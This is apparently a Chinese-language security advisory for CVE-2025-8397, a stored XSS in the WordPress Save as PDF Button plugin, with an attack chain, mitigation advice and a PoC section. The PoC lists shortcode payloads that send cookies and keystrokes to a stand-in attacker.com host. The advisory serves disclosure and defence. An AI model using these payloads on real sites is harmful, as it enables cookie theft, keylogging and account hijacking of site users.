IPBUF安全漏洞报告
English
CVE-2025-8397 CVSS 6.4 中危

CVE-2025-8397 WordPress Save as PDF插件存储型XSS漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-8397
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Save as PDF Button WordPress Plugin

相关标签

CVE-2025-8397WordPress插件漏洞存储型XSSSave as PDF Button短代码注入CVSS 6.4中危漏洞跨站脚本攻击认证攻击WordPress安全

漏洞概述

CVE-2025-8397是WordPress平台上一款名为"Save as PDF Button"插件的安全漏洞。该漏洞为存储型跨站脚本攻击(Stored XSS),存在于插件的restpackpdfbutton短代码功能中。漏洞根源在于插件对用户提供的属性参数缺乏充分的输入清理和输出转义处理。在1.9.2及以下所有版本中,攻击者可以利用此漏洞注入恶意JavaScript代码。由于该代码会被永久存储在数据库中,任何访问包含恶意代码页面的用户都会触发攻击脚本执行。攻击者需要具备WordPress网站贡献者级别(Contributor)或更高权限即可实施攻击。此类漏洞可被用于窃取会话Cookie、劫持用户账户、进行钓鱼攻击或修改页面内容,对网站和用户安全造成严重威胁。

技术细节

该漏洞源于Save as PDF Button插件在处理restpackpdfbutton短代码时,对用户可控的属性参数缺乏安全过滤。攻击者可通过以下方式利用:1)创建或编辑文章/页面内容;2)插入包含恶意JavaScript代码的短代码,如[restpackpdfbutton onclick="alert(document.cookie)"];3)由于插件未对属性值进行HTML实体转义,恶意代码被直接写入数据库;4)当其他用户访问包含该短代码的页面时,浏览器会解析并执行注入的脚本。漏洞的技术原因包括:缺少input sanitization(输入清理)和output escaping(输出转义)。WordPress的add_shortcode()函数在注册短代码时,插件直接使用用户提供的数据而未进行wp_kses()或htmlspecialchars()处理。攻击者可利用此漏洞窃取认证用户的Cookie信息、冒充管理员操作或传播恶意内容。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress版本和Save as PDF Button插件版本(≤1.9.2)
STEP 2
权限获取
攻击者通过钓鱼、密码爆破或社工手段获取WordPress Contributor级别账户凭据
STEP 3
漏洞利用
在文章/页面编辑界面插入包含恶意JavaScript代码的restpackpdfbutton短代码
STEP 4
代码存储
恶意代码未经转义直接存入数据库,在页面加载时永久保存
STEP 5
触发攻击
普通用户或管理员访问包含恶意代码的页面,浏览器执行注入的JavaScript
STEP 6
数据窃取
恶意脚本窃取用户Cookie、会话令牌或其他敏感信息并发送至攻击者服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Save as PDF Button Plugin XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- Basic XSS PoC - Insert in WordPress post/page content --> [restpackpdfbutton onclick="javascript:alert(document.cookie)"] <!-- Cookie Theft PoC --> [restpackpdfbutton onclick="fetch('https://attacker.com/steal?c='+document.cookie)"] <!-- Keylogger PoC --> [restpackpdfbutton onload="document.addEventListener('keypress',function(e){fetch('https://attacker.com/log?k='+e.key)})"] <!-- Session Hijacking PoC --> [restpackpdfbutton onclick="var img=new Image();img.src='https://attacker.com/hijack?cookie='+document.cookie"]

影响范围

Save as PDF Button Plugin ≤ 1.9.2 (所有版本)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时措施:1)暂时禁用或删除Save as PDF Button插件;2)使用WordPress安全插件(如Wordfence)添加输入过滤规则;3)限制低权限用户使用短代码功能;4)增加Web应用防火墙(WAF)规则检测恶意短代码模式;5)监控网站文件变更和数据库异常内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表